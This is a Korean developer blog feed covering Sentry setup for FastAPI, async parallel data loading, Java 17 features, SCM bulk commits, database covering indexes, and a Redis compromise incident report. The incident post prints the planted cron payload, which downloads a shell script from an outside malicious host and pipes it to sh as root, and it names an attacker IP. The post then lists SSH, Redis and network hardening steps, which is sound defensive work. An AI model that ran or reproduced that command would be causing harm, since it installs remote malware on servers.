한발짝 두발짝, 개발짝

[모니터링] Sentry SaaS를 사용한 오류 모니터링 방법

cob — Wed, 6 May 2026 13:58:06 +0900

Sentry 사이트

Application Performance Monitoring & Error Tracking Software

Application performance monitoring for developers & software teams to see errors clearer, solve issues faster & continue learning continuously. Get started at sentry.io.

sentry.io

Sentry Docs

https://docs.sentry.io/

Sentry Docs | Application Performance Monitoring & Error Tracking Software

Self-hosted and cloud-based application performance monitoring & error tracking that helps software teams see clearer, solve quicker, and learn continuously.

docs.sentry.io

[에러 모니터링, 어떤 방식으로 구축하는 것이 좋을까?]

Sentry를 도입하는 방법은 크게 두 가지로 나뉩니다. 본인의 상황에 맞는 방식을 선택하는 것이 중요합니다.

Self-Hosted (On-Premise): 서버에 직접 구축하여 운영하는 방식입니다. 모든 기능을 무료로 쓸 수 있고 데이터 보안에 유리하지만, 서버 관리 리소스가 크다는 단점이 있습니다.
SaaS (Cloud): Sentry에서 제공하는 인프라를 그대로 사용하는 방식입니다. 별도의 서버 관리 없이 가입만으로 바로 사용할 수 있어 편리합니다.

개인 프로젝트나 운영 중인 서비스가 하나라면, Sentry SaaS의 무료 플랜(Developer)을 활용하는 것이 가장 효율적인 선택입니다. (월에 5,000건 이상 오류가 난다면 일단 서비스를 내리는걸로...)

[무료 플랜]
- 에러 수집 (Errors): 월 최대 5,000건 (한도 초과 시 해당 월은 기록이 중단됩니다.)
- 성능 모니터링 (Transactions): 월 최대 10,000건 (API 호출 속도 등 성능 추적)
- 데이터 보관 기간: 발생한 에러 데이터는 90일 동안 보관됩니다.
- 첨부 파일 저장: 로그나 스크린샷 등 최대 1GB까지 저장 가능합니다.

1. 사용법

1-1) 프로젝트 생성

https://sentry.io 사이트에 접속해서 회원가입 후에 아래 사진과 같이 [Create project] 버튼을 클릭해 프로젝트를 추가합니다.

1-2) 사용 언어 선택

프로젝트의 사용하는 언어에 맞게 선택

1-3) SDK 구성

생성하게 되면 아래 사진 처럼 설정 가이들 제공해 줍니다. 차례대로 내 프로젝트에 추가하면 사용 가능합니다.

- send_default_pii : 개인 식별 정보 같은 민감한 정보를 Sentry 서버로 전송할지 여부를 설정하는 옵션이다
True 설정시에는 사용자의 IP, 쿠키, HTTP 헤더(Authorization 등), 요청 Body와 같은 민감한 정보를 같이 전송하기 때문에 만약 보안에 취약한 내용도 전송된다면 False로 설정하는 것이 좋다.

- traces_sample_rate : Sentry는 에러 캡처 외에 API 요청의 처리 시간도 추적할 수 있는데 이때 전체 요청 중 몇 %를 데이터를 수집할지 정하는 옵션

값	의미
0.0	트레이싱 비활성화 (에러만 수집)
0.1	전체 요청의 10%만 추적
0.5	50% 추적
1.0	모든 요청 추적

0.1값을 추천한다 모든 요청을 추적하면 Sentry 전송량이 많아져서 비용이 증가하고 앱 성능에도 미세한 오버헤드가 생기기 때문입니다. 에러 모니터링이 주목적이라 10%면 성능 병목을 파악하기에 충분하다.

- environment : 어느 환경에서 발생한 오류인이 구분(production, development, staging)

2. Code 소스 적용

2-1) Sentry 함수 생성

1-3 사진을 참고하여 함수를 생성한다.

"""
Sentry 모니터링 초기화

SENTRY_DSN이 설정된 경우에만 활성화.
- 개발 환경 (로컬): SENTRY_DSN 미설정 -> 비활성화
- 운영 환경 (Docker): SENTRY_DSN 설정 -> 활성화
"""
import logging

from app.core.config import get_settings

logger = logging.getLogger(__name__)


def init_sentry() -> None:
    """
    Sentry SDK 초기화

    SENTRY_DSN이 없으면 아무 동작도 하지 않음.
    sentry_sdk.init()은 DSN이 None이면 내부적으로 비활성화됨.
    """
    settings = get_settings()

    if not settings.SENTRY_DSN:
        logger.info("Sentry DSN not configured, skipping initialization")
        return

    import sentry_sdk

    sentry_sdk.init(
        dsn=settings.SENTRY_DSN,
        environment=settings.SENTRY_ENVIRONMENT,
        traces_sample_rate=settings.SENTRY_TRACES_SAMPLE_RATE,
        send_default_pii=False,
    )

    logger.info(
        f"Sentry initialized: environment={settings.SENTRY_ENVIRONMENT}, "
        f"traces_sample_rate={settings.SENTRY_TRACES_SAMPLE_RATE}"
    )

- environment 설정으로 개발 or 운영을 나눠 모니터링이 가능합니다. 환경 마다 아래 사진과 같이 로그 확인이 가능합니다.

2-2) main.py에 추가

"""
main.py
FastAPI 애플리케이션 진입점
"""
import logging
from fastapi import FastAPI
from app.core.sentry import init_sentry
...


logging.basicConfig(level=logging.DEBUG)
logger = logging.getLogger(__name__)

# Sentry 초기화 (FastAPI 앱 생성 전에 호출해야 ASGI 미들웨어 자동 등록)
init_sentry()


@asynccontextmanager
async def lifespan(app: FastAPI):
 


# 전역 예외 핸들러 등록
register_exception_handlers(app)

...

2-2) 전역 Exception 핸들러에 추가

어떤 오류들을 모니터링 할건지 설정한다.

"""
전역 예외 핸들러

main.py에서 등록:
    from app.exceptions.handlers import register_exception_handlers
    register_exception_handlers(app)
"""
import logging
import sentry_sdk
from fastapi import FastAPI, Request
from fastapi.responses import JSONResponse
from app.exceptions.base import AppError

logger = logging.getLogger(__name__)


def register_exception_handlers(app: FastAPI):
    """
    전역 예외 핸들러 등록

    모든 AppError를 HTTP 응답으로 변환
    - 도메인 예외 → 4xx (400, 404, 409, 422)
    - 인증/인가 → 401, 403
    - 인프라 → 5xx (500, 502, 503)
    """

    @app.exception_handler(AppError)
    async def app_error_handler(request: Request, exc: AppError):
        """
        AppError 계열 통합 처리

        예외의 status_code, error_code를 활용해 HTTP 응답 생성
        """
        # 에러 로깅 (5xx는 ERROR, 4xx는 WARNING)
        log_method = logger.error if exc.status_code >= 500 else logger.warning
        log_method(
            f"[{exc.error_code}] {exc.message}",
            extra={
                "path": request.url.path,
                "method": request.method,
                "status_code": exc.status_code,
                "error_code": exc.error_code,
                "detail": exc.detail
            },
            exc_info=exc.status_code >= 500  # 5xx만 스택 트레이스 출력
        )

        # 5xx 에러만 Sentry에 전송
        if exc.status_code >= 500:
            sentry_sdk.capture_exception(exc)

        # 응답 생성
        response_body = {
            "success": False,
            "error_code": exc.error_code,
            "message": exc.message
        }

        # detail이 있으면 추가 (개발 환경에서 유용)
        if exc.detail is not None:
            response_body["detail"] = exc.detail

        return JSONResponse(
            status_code=exc.status_code,
            content=response_body
        )

    @app.exception_handler(Exception)
    async def unhandled_exception_handler(request: Request, exc: Exception):
        """
        예상하지 못한 예외 처리 (폴백)

        AppError로 변환되지 않은 모든 예외를 500으로 처리
        """
        logger.error(
            "Unhandled exception",
            exc_info=exc,
            extra={
                "path": request.url.path,
                "method": request.method,
                "exception_type": type(exc).__name__
            }
        )

        # 미처리 예외는 항상 Sentry에 전송
        sentry_sdk.capture_exception(exc)

        return JSONResponse(
            status_code=500,
            content={
                "success": False,
                "error_code": "INTERNAL_SERVER_ERROR",
                "message": "서버 내부 오류가 발생했습니다"
            }
        )

3. 오류 로그 확인

아래 사진과 같이 상세하게 오류 모니터링이 가능합니다.

[파이썬 / 개선] 세마포어를 사용한 병렬 처리로 대규모 데이터 적재 최적화

cob — Fri, 5 Sep 2025 15:40:23 +0900

GitHub Code

https://github.com/kangilbin/AutoTrader/commit/ea453ef10f6677949221dd3ed8baf17111ccadbe

api 병렬 처리 · kangilbin/AutoTrader@ea453ef

@@ -20,141 +19,126 @@ async def fetch_and_store_3_years_data(user_id: str, code: str, stock_data: dict

github.com

1. Issue - 대용량 API 데이터 처리 지연

프로젝트 요구사항에 따라 3년치 일일 데이터를 외부 API에서 가져와 DB에 적재해야 했지만, 단순히 직렬로 처리할 경우, 데이터 양이 방대해 사용자가 요청 후 결과를 받기까지 대기 시간이 지나치게 길어지는 문제가 발생했다.

2. Problem - 직렬 처리

데이터를 하나씩 순서대로 처리하다 보니 시간이 누적되어 결과 응답 늦어졌고, 동시에 많은 요청을 처리하려 하면 서버에 부담이 커져 외부 API의 호출 제한에 걸릴 위험이 있었다.

✅ 직렬 처리로 인한 성능 저하
✅ 사용자 응답 지연

3. Solution - 백그라운드 실행 & 병렬 처리로 성능 개선

1) 백그라운드 실행하 사용자에게 즉시 응답

asyncio.create_task를 사용해 데이터 적재 작업을 백그라운드에서 실행하도록 하고, 작업 상태를 확인할 수 있도록 설계했다.

if stock_data["DATA_YN"] != 'Y':
    # 3년 데이터 적재를 백그라운드에서 실행 (기존 DB 세션 전달)
    asyncio.create_task(fetch_and_store_3_years_data(swing_data.USER_ID, swing_data.ST_CODE, stock_data))

    # 스톡 데이터 상태를 즉시 업데이트 (백그라운드 작업 시작을 표시)
    stock_data["MOD_DT"] = datetime.now(UTC)
    await update_stock(db, stock_data)

2) 병렬 처리

syncio.Semaphore 를 활용하여 동시에 실행되는 작업 수를 제한하고, 이를 통해 서버 자원 고갈이나 외부 API의 Rate Limit 문제를 방지하면서도, 직렬 처리에 비해 병렬성을 확보하여 데이터 적재 속도를 높이고 사용자 대기 시간을 효과적으로 줄였다.

AS-IS

async def fetch_and_store_3_years_data(db: AsyncSession, user_id: str, code: str):
    start_time = time.time()  # 전체 시작 시간
    total_cnt = 0
    end_date = datetime.now(UTC).date()  # 오늘 날짜
    start_date = end_date - relativedelta(years=3)  # 3년 전 날짜
    current_date = start_date

    logging.info(f"Starting 3-year data fetch for {code} from {start_date} to {end_date}")

    # 날짜 범위 개수 계산
    date_range_count = 0
    temp_date = start_date
    while temp_date < end_date:
        next_temp_date = temp_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
        if next_temp_date > end_date:
            next_temp_date = end_date
        date_range_count += 1
        temp_date = next_temp_date

    logging.info(f"Total date ranges to process: {date_range_count}")

    while current_date < end_date:
        task_start_time = time.time()  # 개별 작업 시작 시간
        next_date = current_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
        if next_date > end_date:
            next_date = end_date

        try:
            response = await get_stock_data(user_id, code, current_date.strftime('%Y%m%d'), next_date.strftime('%Y%m%d'))

            if response and "output2" in response:
                # Bulk insert 저장
                # response 데이터를 List[dict] 형태로 변환하여 한번에 insert
                cnt = await insert_bulk_stock_hstr(db, response["output2"], code)
                total_cnt += cnt
                
                task_time = time.time() - task_start_time
                logging.debug(f"Processed {current_date} to {next_date}: {cnt} records in {task_time:.2f}s")
            else:
                task_time = time.time() - task_start_time
                logging.warning(f"No data for {current_date} to {next_date} in {task_time:.2f}s")

        except Exception as e:
            task_time = time.time() - task_start_time
            logging.error(f"Error processing {current_date} to {next_date} in {task_time:.2f}s: {e}")

        current_date = next_date

        await asyncio.sleep(1)  # API 서버 부하 방지

    # 전체 실행 시간 계산
    total_time = time.time() - start_time
    
    logging.info(f"Completed 3-year data fetch for {code}")
    logging.info(f"Total time: {total_time:.2f} seconds ({total_time/60:.2f} minutes)")
    logging.info(f"Total records inserted: {total_cnt}")
    logging.info(f"Average time per task: {total_time/date_range_count:.2f} seconds")
    logging.info(f"Records per second: {total_cnt/total_time:.2f}")

TO-BE

MAX_ITEMS_PER_REQUEST = 100

# 3년 데이터 적재 (백그라운드 작업)
async def fetch_and_store_3_years_data(user_id: str, code: str, stock_data: dict):
    """
    3년치 주식 데이터를 백그라운드에서 병렬로 가져와서 DB에 저장하는 배치 작업
    
    Args:
        user_id: 사용자 ID
        code: 주식 코드
        stock_data: 주식 메타 정보
        db: DB 세션 (호출자에서 전달받음)
    
    Returns:
        None
    """
    async for db in get_db():
        try:
            # 상태 업데이트: 처리 중
            stock_data["DATA_YN"] = 'P'
            stock_data["MOD_DT"] = datetime.now(UTC)
            await update_stock(db, stock_data)
            logging.info(f"Started background data fetch for {code}")

            start_time = time.time()
            total_cnt = 0
            end_date = datetime.now(UTC).date()
            start_date = end_date - relativedelta(years=3)
            current_date = start_date

            # 날짜 범위 생성
            date_ranges = []
            while current_date < end_date:
                next_date = current_date + relativedelta(days=MAX_ITEMS_PER_REQUEST)
                if next_date > end_date:
                    next_date = end_date
                date_ranges.append((current_date, next_date))
                current_date = next_date

            logging.info(f"Created {len(date_ranges)} date ranges for {code}")

            # 동시 실행 제한 세마포어
            semaphore = asyncio.Semaphore(3)

            async def process_date_range(range_start, range_end):
                task_start_time = time.time()
                async with semaphore:
                    try:
                        response = await get_stock_data(user_id, code, range_start.strftime('%Y%m%d'), range_end.strftime('%Y%m%d'))
                        if response and "output2" in response:
                            api_data_count = len(response["output2"])
                            task_time = time.time() - task_start_time
                            logging.debug(f"API call completed for {range_start} to {range_end}: {api_data_count} records in {task_time:.2f}s")
                            return response["output2"]  # 데이터만 반환
                        else:
                            logging.warning(f"No data for {range_start} to {range_end}")
                            return None
                    except Exception as e:
                        logging.error(f"Error processing {range_start} to {range_end}: {e}")
                        return None

            logging.info(f"Processing all {len(date_ranges)} tasks in parallel")

            # 모든 태스크 실행
            tasks = [process_date_range(start, end) for start, end in date_ranges]
            results = await asyncio.gather(*tasks, return_exceptions=True)

            # 결과 정리 및 DB 저장 (기존 세션 재사용)
            successful_tasks = 0
            failed_tasks = 0
            total_cnt = 0

            # 기존 DB 세션으로 순차 저장
            for i, result in enumerate(results):
                if isinstance(result, Exception):
                    failed_tasks += 1
                    logging.error(f"Task failed: {result}")
                elif result is not None:
                    try:
                        cnt = await insert_bulk_stock_hstr(db, result, code)
                        successful_tasks += 1
                        total_cnt += cnt
                        logging.debug(f"DB insert completed for batch {i+1}: {cnt} records")
                    except Exception as db_error:
                        failed_tasks += 1
                        logging.error(f"DB insert failed for batch {i+1}: {db_error}")
                else:
                    failed_tasks += 1

            total_time = time.time() - start_time
            logging.info(f"Completed data fetch for {code}")
            logging.info(f"Total time: {total_time:.2f}s ({total_time/60:.2f}min)")
            logging.info(f"Successful: {successful_tasks}, Failed: {failed_tasks}")
            logging.info(f"Total records: {total_cnt}, RPS: {total_cnt / total_time:.2f}")

            # 상태 업데이트: 완료
            stock_data["DATA_YN"] = 'Y'
            stock_data["MOD_DT"] = datetime.now(UTC)
            await update_stock(db, stock_data)
            logging.info(f"Stock {code} updated to DATA_YN=Y")

            break  # 세션 루프 종료

        except Exception as e:
            try:
                if stock_data is not None:
                    stock_data["DATA_YN"] = 'E'
                    stock_data["MOD_DT"] = datetime.now(UTC)
                    await update_stock(db, stock_data)
                    logging.error(f"Updated {code} to DATA_YN=E due to error: {e}")
                else:
                    logging.error(f"stock_data is None; cannot update status for {code}")
            except Exception as update_error:
                logging.error(f"Failed to update error status for {code}: {update_error}")

            logging.error(f"Background fetch failed for {code}: {e}")
            raise

Test 결과 - 3년 데이터 기준 처리 시간

구분	처리 시간
AS-IS 기존 구조	14.16s (0.24 min)
TO-BE 개선 구조	1.87s (0.03 min)

[JAVA] Java 17 기준 최신 문법

cob — Wed, 16 Jul 2025 11:07:19 +0900

기능	설명	Java 버전
Text Blocks (""")	멀티라인 문자열	Java 15 정식
Switch Expression	값 반환형 switch	Java 14 정식
Records	자동 DTO 클래스	Java 16 정식
Pattern Matching for instanceof	instanceof + 형변환 생략	Java 16 정식
Sealed Classes	상속 가능한 하위 클래스 제한	Java 17 정식
var 키워드	지역 변수 타입 추론	Java 10 정식

1. 텍스트 블록 (Text Block)

[AS-IS]

String json = "{\n" +
              "  \"name\": \"홍길동\",\n" +
              "  \"age\": 30\n" +
              "}";

[TO-BE]

String json = """
              {
                "name": "홍길동",
                "age": 30
              }
              """;

\n, + 없이도 줄 바꿈과 들여 쓰기 표현 가능
가독성이 매우 좋아지고, 특히 HTML/SQL/JSON 등 다중 문자열에 유리

2. 스위치 표현식 (Switch Expression)

[AS-IS]

int num = ...;
String result;
switch (num) {
    case 1:
        result = "ONE";
        break;
    case 2:
        result = "TWO";
        break;
    default:
        result = "OTHER";
}

[TO-BE]

int num = ...;
String result = switch (num) {
    case 1 -> "ONE";
    case 2 -> "TWO";
    default -> "OTHER";
};

가독성 향상
코드 라인 수 감소
버그 가능성 감소 (특히 switch break 누락)
표현력 있는 코드 작성 가능

3. Records (레코드 클래스)

getter, equals, hashCode, toString 자동 생성 되지만, 모든 필드가 final (불변) 이다.

public record User(String name, int age) {}

User user = new User("홍길동", 30);
System.out.println(user.name());  // "홍길동"

getter, equals, hashCode, toString 자동 생성
DTO, VO 같은 단순 데이터 객체에 유용
JavaBean 패턴보다 훨씬 간결

4. Pattern Matching for instanceof

[AS-IS]

if (obj instanceof String) {
    String s = (String) obj;
}

obj가 null일 경우 NullPointerException 발생
따로 형변환 필요

[TO-BE]

if (obj instanceof String s) {
    System.out.println(s.toLowerCase());
}

instanceof 연산자는 obj가 null이면 항상 false를 반환해서 null 체크 역할도 함

5. Sealed Classes (봉인 클래스)

상속 가능한 클래스를 명시적으로 제한하는 기능

public sealed class Shape permits Circle, Square {}

final class Circle extends Shape {}
final class Square extends Shape {}

유지보수성과 보안성 향상

6. Local Variable Type Inference (var)

지역 변수의 타입을 var로 생략 가능

var list = new ArrayList<String>();  // 타입 자동 추론

가독성 향상
복잡하거나 불분명한 경우엔 지양

[SCM / 개선] SCM Rest API를 사용한 다중 커밋 성능 개선

cob — Mon, 30 Jun 2025 17:31:25 +0900

SCM Manager란?
SCM Manager는 Git, Subversion(SVN), Mercurial 등 다양한 버전 관리 시스템을 통합적으로 관리할 수 있는 오픈소스 형상관리 플랫폼이다. 일반적으로 Git이나 SVN을 단독으로 사용할 경우, 별도의 서버 설정이나 사용자 관리, 권한 관리가 번거롭다. SCM Manager는 이런 불편을 해소하기 위해 웹 기반 UI와 Rest API를 제공하며, 다음과 같은 기능을 지원한다.

SCM Manager 주요 특징

Git, SVN, Mercurial 등 멀티 저장소 통합 관리
직관적인 웹 UI 제공
사용자 및 권한 관리 기능
Rest API 기반의 자동화 및 연동 지원
플러그인 확장을 통한 기능 추가 가능
소스 코드 브라우징 및 변경 이력 조회
사내 구축형으로 운영 가능

Issue - 대량 코드 등록 시 성능 지연

개발 / 운영 과정에서 소스 코드를 한두 개씩 등록하는 것은 문제가 없지만, 특정 상황에서는 수십 건의 소스 파일을 한 번에 등록해야 하는 경우 문제가 발생했다. 예를 들어, 엑셀 파일로 정리해 한 번에 등록하는 방식이 있다.

Problem - SCM Rest API

SCM 시스템에서는 소스 등록을 위해 Rest API를 제공하고, Rest API를 문서 정리되어 있었지만, 안내하는 방식은 다음과 같은 한계가 있었다.

✅ 단일 파일 커밋만 지원
✅ 대량 등록 시 파일 건수만큼 반복 요청 필요
✅ 매 요청마다 네트워크 통신, 인증, 서버 처리 로직이 반복되어 누적 지연 발생

실제 테스트에서 엑셀로 준비한 41건의 소스 파일을 순차적으로 등록하자, 약 2분 24초(2.4분)가 소요되었다.
단순히 소스 등록 속도의 문제를 넘어, 운영 효율성과 자동화 측면에서 상당한 제약이 있어 개선이 필요!

Solution - 다중 커밋 & 메모리 기반 처리로 성능 개선

1) 다중 파일 커밋을 지원하는 API 활용

SCM Rest API 문서에는 없었지만, SVN 플러그인을 뜯어보니 내부적으로 다중 파일을 한 번에 커밋할 수 있는 API가 존재해 이를 활용하면 별도의 반복 요청 없이, 여러 파일을 한 번에 묶어서 처리할 수 있었다.

플러그인 API

MultipartFormDataInput는 다중 파일 처리가 가능하기 때문에 해당 소스를 분석하여 양식에 맞게 값을 설정

protected void commitFiles(String ment) throws Throwable {
        try {
            String url;
            int i = 0;

            HttpHeaders headers = createHttpHeaders();

            headers.setContentType(MediaType.MULTIPART_FORM_DATA);

            JSONObject files = JSONObject.createNewInstance();
            JSONObject commitBody = new JSONObjectImpl();
            commitBody.put("commitMessage", StringUtil.isBlank(ment)? " ": ment);

            MultiValueMap<String, Object> body = new LinkedMultiValueMap<>();
            for (CommitData commitData: getFileCommitList()) {
                if (commitData!= null)
                {
                    //생성된 ByteArrayResource를 멀티파트 요청에 추가
                    body.add("file" + i, commitData);  // 멀티파트로 파일 추가
                    files.put(commitData.getFilename(), toPath(commitData.getCommitPath() +"/"+ commitData.getFilename(), true) );
                    i++;
                }
            }

            commitBody.put("names", files);
            body.add("commit", commitBody.toString());
            /**
             * 파일 생성/수정 커밋
             */
            url = getSCMProperties().getApiUrl() + "/v2/edit/"
                    + getSCMProperties().getAdminId()
                    + "/" + getProjectId()
                    + "/create";

            post(url, new HttpEntity<>(body, headers), String.class);
        }
        catch (Throwable t) {
            if (t instanceof HttpClientErrorException)
            {
                String detailMessage = ((HttpClientErrorException)t).getResponseBodyAsString();
                if (!StringUtil.isBlank(detailMessage))
                {
                    JSONObject errorJson = JSONObject.fromObject(detailMessage);
                    String errorCode = errorJson.getString("errorCode");
                    // 40RaYIeeR1 : 기존 파일과 변경사항 없을 시 오류 코드
                    if (VALUE_SCM_NOT_MODIFY.equals(errorCode)) return;
                }
            }

            LOG.debug(t);
            if (t instanceof RuntimeException) {
                throw (RuntimeException)t;
            }
            throw new JexRuntimeException(t);
        }
        finally {
            closeSource();
        }
    }

2) 메모리 기반 처리

기존 방식은 엑셀 데이터를 기반으로, 매번 SCM에 템플릿을 요청해 파일을 생성한 뒤, 해당 파일을 서버로 전송하는 구조였다.
즉, SCM 템플릿 요청 → 파일 생성 → SCM Commit 순서로 동작했기 때문에, 중복된 템플릿 요청이 반복되고 불필요한 파일 생성으로 인해 디스크 I/O 비용이 발생한다.

이를 개선하기 위해, 템플릿 매니저를 싱글톤 패턴으로 설계하고, 요청된 템플릿은 메모리에 캐싱하여 재사용하는 구조로 변경하였다.
이로 인해 중복 요청을 제거하고 디스크 I/O를 줄여, 전체 성능을 크게 향상시킬 수 있었다.

@Component
public class StudioPRJSettingManager {
    private Map<Class<?>, Map<String, AbstractTemplet>> templetPool = new Hashtable<>();


	 ...
     <T extends AbstractTemplet> T getTempletManager(String projectId, Class<T> targetClass, Supplier<T> supplier)
     {
         Map<String, AbstractTemplet> pool = templetPool.computeIfAbsent(targetClass, key-> new Hashtable<String, AbstractTemplet>());
         
         return targetClass.cast(pool.computeIfAbsent(projectId, key -> supplier.get()));
     }
}

Test 결과 - 극적인 성능 개선 확인

구분	요청-응답 시간
AS-IS 기존 구조	약 2.4분
TO-BE 개선 구조	약 30.77ms

[서버 / 해킹] Redis 악성 코드 삽입(backup1~4) 및 해킹 대응

cob — Sat, 21 Jun 2025 21:44:05 +0900

[서버 운영 환경]

운온프레미스 (On-premise) 자가 구축 환경
Ubuntu Linux (24.04.2 LTS)
Docker Compose 이용하여 컨테이너 구성 관리

1. Issue

Redis 도커 컨테이너에서 수상한 키(backup1~4) 발견.
내용 중 [http://natalstatus.org/ep9TS2/ndt.sh] 쉘 스크립트를 실행하는 크론잡 명령어가 저장되어 있었고, 이는 외부 악성 스크립트를 주기적으로 실행하는 형태로 의심됨, 또한 서버 sshd 접속 기록을 조회한 결과, root 계정으로 외부 IP (183.223.32.168)에서 직접 접속된 흔적이 발견

[Redis]

// Redis에서 전체 key 조회
$ keys *
backup1
backup2
backup3
backup4

// key 내용 조회
$ GET backup1
"\n\n\n*/2 * * * * root cd1 -fsSL http://natalstatus.org/ep9TS2/ndt.sh | sh\n\n"

[접속자 확인]

악성코드

누구냐넌...

해당 악성 코드에 대한 자세한 내용은 아래 링크에서 확인 가능

http://www.forensic-artifacts.com/osint-analysis/cri12

디지털 포렌식 아티팩트 & 증거 분석 기법 공유 | 인섹시큐리티

Redis 서버 해킹 사례 Key, Value 구조의 비정형 데이터를 저장하고 관리하기 위한 비관계형 데이터베이스 시스템 NoSQL 기반으로 별도의 쿼리 없이 Key 값을 통해 빠르게 데이터를 가져올 수 있음 디

www.forensic-artifacts.com

2. Problem

Redis 포트 외부 노출 (Docker의 자동 포트 바인딩)
Redis 패스워드 미설정
공인 IP 직접 노출 구조
SSH 보안 설정 미강화

3. Solution

포맷 이후 보안 강화

1. SSH 보안 강화

Root 로그인 완전 차단	PermitRootLogin no 설정으로 root 계정 직접 로그인 차단
키 기반 인증만 허용	PasswordAuthentication no, ChallengeResponseAuthentication no, UsePAM no 설정으로 공개키 인증만 허용
로그인 시도 제한	ClientAliveInterval과 ClientAliveCountMax 조정으로 유휴 연결 제한 설정
로그 모니터링	SSH 로그 확인을 통해 침입자 IP 확인 및 추적 시도 수행

2. Redis 보안 설정 강화

비밀번호 인증 설정	requirepass 설정으로 Redis 접속 시 인증 필요하도록 구성
보호 모드 활성화	protected-mode yes 적용으로 외부 접속 차단 기본값 유지
불필요한 포트 제거	Docker Compose에서 ports: 6379:6379 제거 또는 127.0.0.1:6379로 제한

3. 네트워크 구조 변경 (공인 IP 노출 해소)

공유기 도입	기존 공인 IP 직결 구조 대신, 공유기를 도입하여 NAT 및 방화벽 구조로 전환
사설 IP 할당	서버에는 사설 IP만 할당되도록 구성하여 외부 노출 차단
포트포워딩 최소화	외부 서비스가 필요한 포트 하나만 포워딩하여 최소 개방 정책 적용
방화벽 설정 강화	공유기 및 서버의 방화벽(UFW 또는 iptables) 설정으로 비필요한 접근 차단

[빅데이터 / RDBMS] Clustered, Secondary, Covering Index 개념 및 빅데이터 페이징 처리 방법

cob — Sat, 8 Mar 2025 18:31:14 +0900

대용량 데이터에서 페이징 처리는 데이터 양에 따라 시간이 오래 걸릴 수 있다. 이를 해결하는 방법 중 하나는 데이터베이스 샤딩(Sharding)과 분산 처리이지만, 우선적으로 인덱스를 잘 이해하고 쿼리를 최적화하는 방법이 중요하다.

1. 클러스터(Clustered) 인덱스

1-1) 특징 / 장단점

특징:
- 클러스터드 인덱스는 데이터가 물리적으로 저장되는 순서를 결정한다.
- 테이블의 기본 키(primary key) 또는 유니크 키로 생성.
- 클러스터드 인덱스를 사용할 경우, 해당 인덱스에 의해 데이터를 물리적으로 정렬하여 저장.
장점:
- 기본 키(primary key)나 유니크한 컬럼을 사용하여 데이터를 조회할 때 빠른 검색 성능을 제공.
단점:
- 한 테이블에는 하나의 클러스터드 인덱스만 있을 수 있다.
- 클러스터드 인덱스를 자주 수정하는 경우, 데이터의 물리적 위치를 다시 정렬해야 하므로 성능에 영향을 미칠 수 있다.

1-2) 사용

기본 키로 설정하면 자동으로 클러스터 인덱스가 설정됩니다. 아래 예시는 ARTICLE_ID를 클러스터 인덱스로 설정한 예시이다.

CREATE TABLE ARTICLE (
    ARTICLE_ID BIGINT NOT NULL PRIMARY KEY,
    TITLE VARCHAR(100) NOT NULL,
    CONTENT VARCHAR(3000) NOT NULL,
    BOARD_ID BIGINT NOT NULL,
    WRITER_ID BIGINT NOT NULL,
    CREATE_AT DATETIME NOT NULL,
    MODIFIED_AT DATETIME NOT NULL
);

2. 세컨더리(Secondary) 인덱스

2-1) 특징 / 장단점

특징:
- 세컨더리 인덱스는 클러스터드 인덱스가 아닌 다른 컬럼에 대해 생성.
- 이 인덱스는 테이블의 데이터를 정렬하지 않으며, 대신 인덱스 페이지에 값과 해당 기본 키를 저장.
장점:
- 기본 키 외에도 자주 검색되는 컬럼에 대해 인덱스를 생성하여 검색 성능을 향상시킬 수 있다.
단점:
- 두 번의 조회가 필요하다. 첫 번째로 세컨더리 인덱스를 통해 기본 키를 얻고, 두 번째로 기본 키를 사용하여 클러스터드 인덱스에서 실제 데이터를 조회해야 한다.

2-2) 사용

BOARD_ID와 ARTICLE_ID로 세컨더리 인덱스를 생성합니다. ARTICLE_ID는 시간 순서에 따라 생성되는 컬럼이기 때문에, BOARD_ID와 ARTICLE_ID를 조합하여 정렬된 데이터가 만들어집니다.

CREATE_AT컬럼이 아닌 ARTICLE_ID가 시간 순서라고 말한 이유는 ARTICLE_ID 컬럼은 데이터 분산 환경을 고려해 시퀀스를 할당하는 SnowFlake 기법으로 시간 순서에 따라 만들어지는 컬럼이기 때문이다.

-- 세컨더리 인덱스 생성
CREATE INDEX IDX_BOARD_ID_ARTICLE_ID ON ARTICLE(BOARD_ID ASC, ARTICLE_ID DESC);

3. 커버링(Covering) 인덱스

3-1) 특징 / 장단점

특징:
- 커버링 인덱스는 쿼리에서 필요한 모든 컬럼을 인덱스에 포함시킨 인덱스입니다.
- 즉, 해당 인덱스만으로 쿼리에서 요청된 데이터를 모든 컬럼을 포함해 반환할 수 있습니다.
- 쿼리 성능을 최적화하기 위해, 자주 사용되는 컬럼들을 인덱스에 포함시켜서 디스크 I/O를 줄일 수 있습니다.
장점:
- 쿼리 성능을 최적화하며, 디스크 접근 횟수를 줄이는 효과가 있습니다. 데이터베이스는 인덱스에서 바로 필요한 데이터를 얻을 수 있습니다.
단점:
- 인덱스 크기가 커질 수 있기 때문에 메모리 사용과 디스크 공간에 영향을 줄 수 있습니다.

3-2) 사용

세컨더리 인덱스로 설정된 값을 조회할 때, Using Index 방식으로 인덱스의 데이터만으로 조회가 가능하다. 클러스터 인덱스를 거치지 않기 때문에 빠르게 조회할 수 있다.

SELECT BOARD_ID, ARTICLE_ID FROM ARTICLE
WHERE BOARD_ID = 1
ORDER BY ARTICLE_ID DESC
LIMIT 30 OFFSET 159999;

4. 응용 : 빅데이터 조회

커버링 인덱스로 빠르게 조회한 30건의 데이터에 대해서만 ARTICLE_ID를 조인하여 데이터를 추출하면 빠르게 조회된다. 이렇게 함으로써 디스크 접근 횟수를 줄이고 성능을 최적화할 수 있다.

SELECT * FROM (
    SELECT ARTICLE_ID FROM ARTICLE
    WHERE BOARD_ID = 1
    ORDER BY ARTICLE_ID DESC
    LIMIT 30 OFFSET 159999
) T LEFT JOIN ARTICLE ON T.ARTICLE_ID = ARTICLE.ARTICLE_ID;

객체지향 설계 원칙(SOLID) 적용 방법

cob — Fri, 28 Feb 2025 14:33:54 +0900

객체지향 프로그래밍(OOP)의 장점을 극대화하기 위해서는 올바른 설계가 필수적이다. OOP의 핵심 개념을 기반으로 프로그램을 어떻게 설계해야 하는지 살펴보자.

객체지향 설계 과정

요구사항 분석: 제공해야 할 기능을 정의하고, 주요 액터와 사용 시나리오를 정리한다.
도메인 모델 설계: 주요 개체(객체)를 식별하고, 객체 간 관계를 정의한다.
객체의 책임 분배: 객체의 역할을 분리하고, 협력 구조를 결정한다.
클래스 및 인터페이스 설계: 추상화, 상속, 인터페이스를 활용하여 구조를 설계한다.
